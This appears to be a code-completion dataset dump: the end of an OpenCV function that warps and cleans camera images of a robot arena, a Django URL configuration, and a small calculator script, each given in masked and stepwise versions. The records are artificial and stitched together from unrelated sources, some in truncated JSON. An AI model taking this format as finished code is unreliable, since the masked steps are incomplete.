cv2.warpPerspective(frame, M, (900, 600))\n\n # Make the excess black border White: ~10px thick\n in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]])\n h, w = processed_arena.shape[:2]\n result_mask = np.zeros((h, w), np.uint8)\n mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.drawContours(mask, [in_corners], -1, 255, 1)\n cv2.floodFill(result_mask, mask, (0, 0), 255)\n processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask, cv2.COLOR_GRAY2BGR))\n\n # cv2.imshow('Display', processed_arena)\n # cv2.waitKey(0)\n warped_arena = processed_arena.copy();\n # Warped_arena: to be used for robot tracking\n # Denoising: bilateral filter\n processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198)\n\n # To Make Background White:\n # 1) Invert\n arena_inv = cv2.bitwise_not(processed_arena)\n # 2) Subtract\n processed_arena = cv2.subtract(arena_inv, processed_arena)\n # 3) Invert\n processed_arena = cv2.bitwise_not(processed_arena)\n\n # # Color Enhancement: Does Not Help in color detection\n # ycrcb = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2YCR_CB)\n # y, cr, cb = cv2.split(ycrcb)\n # cv2.equalizeHist(y, y)\n # ycrcb = cv2.merge((y, cr, cb))\n # processed_arena = cv2.cvtColor(ycrcb, cv2.COLOR_YCR_CB2BGR)\n #\n # # Shadow Removal- Not Used since Removes Shape Detail\n # shadow = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY)\n # ret, shadow = cv2.threshold(shadow, 10, 255, cv2.THRESH_BINARY_INV)\n # shadow = cv2.cvtColor(shadow, cv2.COLOR_GRAY2BGR)\n # processed_arena = cv2.add(processed_arena, shadow)\n\n # cv2.imshow('Display', processed_arena)\n # cv2.waitKey(0)\n\n # Show Grid Lines\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) * 100), (0, 0, 0), 1)\n cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n # cv2.imshow('Display', processed_arena)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n # processed_arena: to be used for Object Detection\n return processed_arena, warped_arena\n\n\n\"\"\"\n* Function Name: get_robot_space\n* Input: frame - (raw camera feed of the arena)\n* Output: warped portion of arena\n* Logic: Warps a portion of the arena to which the robot position\n is mapped to avoid parallax\n* Example Call: robot_space = get_robot_space(frame)\n\"\"\"\n\n\ndef get_robot_space(frame):\n # Denoising: bilateral filter Kernel size of 99 (Preferred Over medianBlur to maintain edge info)\n frame = cv2.bilateralFilter(frame, 5, 99, 198)\n\n # Define result dimensions (600 X 900) therefore each block 100 X 100\n source_pts = np.float32([[24, 56], [27, 444], [608, 47], [615, 437]]) #(576, 65) # 53,71 (53, 400) (586, 390)\n\n # Define result dimensions (600 X 900) therefore each block 100 X 100\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n\n # Get transformation matrix\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n\n # Remapping to final desired result image\n warped_arena = cv2.warpPerspective(frame, M, (900, 600))\n\n # Show Grid Lines\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(warped_arena, (x * 100, y * 100), (x * 100, (y + 1) * 100), (0, 0, 0), 1)\n cv2.line(warped_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n\n return warped_arena\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
# -*- coding: utf-8 -*- from django.conf.urls import patterns, include, url from django.contrib.auth.views import login, logout from django.contrib import admin from magmag_core.app import application from django.contrib.staticfiles.urls import staticfiles_urlpatterns from django.conf.urls.static import static from magmag import settings admin.autodiscover() urlpatterns = patterns('', # Examples: # url(r'^$', 'magmag.views.home', name='home'), # url(r'^blog/', include('blog.urls')), (r'', include(application.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^logout$', logout,name='logout' ), ) urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
normal
{ "blob_id": "538e582df7bfcf281973a5296adc14ca067be0a5", "index": 2581, "step-1": "<mask token>\n", "step-2": "<mask token>\nadmin.autodiscover()\n<mask token>\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "step-3": "<mask token>\nadmin.autodiscover()\nurlpatterns = patterns('', ('', include(application.urls)), url('^admin/',\n include(admin.site.urls)), url('^logout$', logout, name='logout'))\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "step-4": "from django.conf.urls import patterns, include, url\nfrom django.contrib.auth.views import login, logout\nfrom django.contrib import admin\nfrom magmag_core.app import application\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.conf.urls.static import static\nfrom magmag import settings\nadmin.autodiscover()\nurlpatterns = patterns('', ('', include(application.urls)), url('^admin/',\n include(admin.site.urls)), url('^logout$', logout, name='logout'))\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "step-5": "# -*- coding: utf-8 -*-\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib.auth.views import login, logout\nfrom django.contrib import admin\nfrom magmag_core.app import application\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.conf.urls.static import static\nfrom magmag import settings\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'magmag.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n (r'', include(application.urls)),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^logout$', logout,name='logout' ),\n)\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
operation = input('operation type: ').lower() num1 = input("First number: ") num2 = input("First number: ") try: num1, num2 = float(num1), float(num2) if operation == 'add': result = num1 + num2 print(result) elif operation == 'subtract': result = num1 - num2 print(result) elif operation == 'multiply': result = num1 * num2 print(result) elif operation == 'divide': result = num1 / num2 print(result) else: print('You didi choose the right operation') except: # print("Impoper numbers or Operation")
normal
{ "blob_id": "bafb6c09ecd0017428441e109733ebcb189863ad", "index": 3598, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n num1, num2 = float(num1), float(num2)\n if operation == 'add':\n result = num1 + num2\n print(result)\n elif operation == 'subtract':\n result = num1 - num2\n print(result)\n elif operation == 'multiply':\n result = num1 * num2\n print(result)\n elif operation == 'divide':\n result = num1 / num2\n print(result)\n else:\n print('You didi choose the right operation')\nexcept:\n print('Impoper numbers or Operation')\n", "step-3": "operation = input('operation type: ').lower()\nnum1 = input('First number: ')\nnum2 = input('First number: ')\ntry:\n num1, num2 = float(num1), float(num2)\n if operation == 'add':\n result = num1 + num2\n print(result)\n elif operation == 'subtract':\n result = num1 - num2\n print(result)\n elif operation == 'multiply':\n result = num1 * num2\n print(result)\n elif operation == 'divide':\n result = num1 / num2\n print(result)\n else:\n print('You didi choose the right operation')\nexcept:\n print('Impoper numbers or Operation')\n", "step-4": "operation = input('operation type: ').lower()\nnum1 = input(\"First number: \")\nnum2 = input(\"First number: \")\n\ntry:\n num1, num2 = float(num1), float(num2)\n if operation == 'add':\n result = num1 + num2\n print(result)\n elif operation == 'subtract':\n result = num1 - num2\n print(result)\n elif operation == 'multiply':\n result = num1 * num2\n print(result)\n elif operation == 'divide':\n result = num1 / num2\n print(result)\n else:\n print('You didi choose the right operation')\n\nexcept:\n #\n print(\"Impoper numbers or Operation\")", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]